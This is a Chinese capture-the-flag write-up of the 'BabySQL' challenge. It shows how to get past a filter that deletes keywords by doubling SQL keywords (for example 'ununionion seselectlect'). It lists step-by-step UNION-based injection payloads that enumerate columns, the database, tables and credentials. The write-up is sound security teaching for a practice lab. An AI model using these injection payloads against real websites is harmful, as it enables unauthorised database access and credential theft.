首页 > 数据库 >[极客大挑战 2019]BabySQL

[极客大挑战 2019]BabySQL

时间:2023-10-08 14:45:48浏览次数:43  
标签:极客 group name BabySQL 2019 table 报错 seselectlect ununionion

原理

sql关键字绕过姿势之双写绕过

解题过程

BabySQL嘛,看到登录框,先试试or万能登录

发现sql语句报错了,把我or给吃了,可以看到这种过滤是直接把or关键字替换成了空字符串

那我们可以试试双写绕过

可以了,我们得到了账号密码,有啥用??我起初还想着将这密码解密呢- -,浪费时间,继续用常规套路sql语句挖信息吧

后面对关键字一个个尝试,都用双写绕过就可以了,下面只给出payload了

以下测试可以账号密码都放一样的payload,因为账号那一栏的报错信息不全
1' oorrder bbyy 5#  报错
1' oorrder bbyy 4#  报错
1' oorrder bbyy 3#  回显正常
以上得出sql语句的查询列项为3

-1' ununionion seselectlect 1,2,3 #
以上找出回显位置是2,3

-1' ununionion seselectlect 1,database(),3 #
以上找出数据库名为geek

-1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#
以上找出表名为:b4bsql   geekuser

-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='geekuser'#
以上找出b4bsql和geekuser列名均为id,username,password

-1' ununionion seselectlect 1,group_concat(id,username,passwoorrd),3 frfromom b4bsql#
拿到flag

标签:极客,group,name,BabySQL,2019,table,报错,seselectlect,ununionion
From: https://www.cnblogs.com/BEONTHE/p/17749022.html

相关文章

  • [极客大挑战 2019]Upload
    原理文件上传MIME和文件头的检测php的多种后缀木马连接解题过程进入靶场,应该就是上传漏洞然后连接木马即可。先上传个正常文件名的文件然后抓包,我上传个正常jpg文件还冤枉我??先把文件内容删了。MIME信息和文件头信息换换换成png还是不行,试试gif格式终于可以了--,现在给......
  • [极客大挑战 2019]Http 1
    原理来源页的修改ip修改浏览器修改解题过程一看题目涉及到抓包咯,进入靶场界面没啥东西,查看原代码发现一个文件,拼在url地址后面发现要修改来源页,那就抓包吧补上来源还要修改浏览器还要本地访问--得到flag......
  • VS2019 创建Integration Service
    最近工作中需要用到Integrationservice,使用VS2022如何都打不开,查阅文档发现vs2022目前不支持,所以需要下载VS2019,安装步骤如下1、下载vs20192、在此窗口中,我们单击“扩展”>“管理扩展”: 3、在打开的窗口的搜索栏中,搜索“IntegrationServices”扩展名。从出现的列表中,我们......
  • 【VMware篇】6-Esxi上Windows server 2019安装AD域控、DHCP、DNS、KMS
    第1章前言  本文主要介绍在Windowsserver2019上安装AD域控、DHCP、DNS、KMS服务器以及创建好域控后组织单元的创建。AD(activedirectory)域     AD域是一种广泛使用的身份验证和访问控制解决方案,它是由Microsoft开发的。AD域能够为组织中的用户、计算机和其他网络资源提供......
  • WIN11 安装 SQL Server 2019,SQLSERVER2022, MYSQL 8.0 ,Docker,Mongodb失败故障分析
    最近研究数据库性能调优遇到各种数据库各种装不上,不知道熬了多少根软白沙,熬了多少颗张三疯,问了多少AI,查了多少网页,熬了两天,终于搞明白了一件事:那就是WIN11ONARM(因为拿的是MACPROM2做.NET平台开发安装)SQLSERVER2019,SQLSERVER2022,MYSQL8.0,Docker,Mongodb失败故障分析,最终极......
  • 升级Lync Server 2013到Skype for Business 2019(二)
    写在前面从本章开始,将进入到整个LyncServer2013升级到SkypeforBusiness2019升级项目的详细实施部分。本章将介绍SkypeforBusiness2019前端服务器安装。前端服务器安装先决条件安装打开WindowsPowerShell。确保已插入WindowsServer2019安装介质。运行以下命令Add-Window......
  • CSP-J 2019 公交换乘
    P5661[CSP-J2019]公交换乘-洛谷|计算机科学教育新生态(luogu.com.cn)思路如下:用一个数组来存储现有的优惠劵,每次乘公交时遍历数组,若有符合条件的立即调用每张优惠券只能用一次,还需要记录每张票的使用状况(用了/还没用)所以就定义一个结构体structcu{ longlongtim;......
  • P5385 [Cnoi2019] 须臾幻境
    (无需LCT简化版:P4764)主要是记录一个Trick而非LCT、主席树等的使用。给定无向图,\(q\)次询问,求边权在\([l,r]\)内的边的生成子图的连通块数目。强制在线。对于连通块问题,考虑提取生成森林。连通块数目等于顶点数减去边数最多的生成森林的边数。强制在线也可以先用离线......
  • [极客大挑战 2019]Secret File
    查看源代码发现一个php文件,进行访问点击了一下,啥也没有退回去重新查看发现有个文件,访问发现是刚才那个页面,burp进行抓包看看发现了个隐藏文件访问secr3t.php通过代码审计,包含一个file的文件,用get方式传输,如果存在../,tp,input,data等字符就会输出Ohno构造payload:?file=flag.p......
  • 【VMware篇】3-ESXi安装Windows Server2019虚拟机和更改配置
    第1章前言   本文主要介绍Dell服务器安装ESXI后虚拟机的安装,安装例子:WindowsServer2019。1.Windowsserver2019            Windowsserver2019是微软公司研发的服务器操作系统,WindowsServer2019包括三个许可版本:DatacenterEdition(数据中心版):适用于高虚拟化......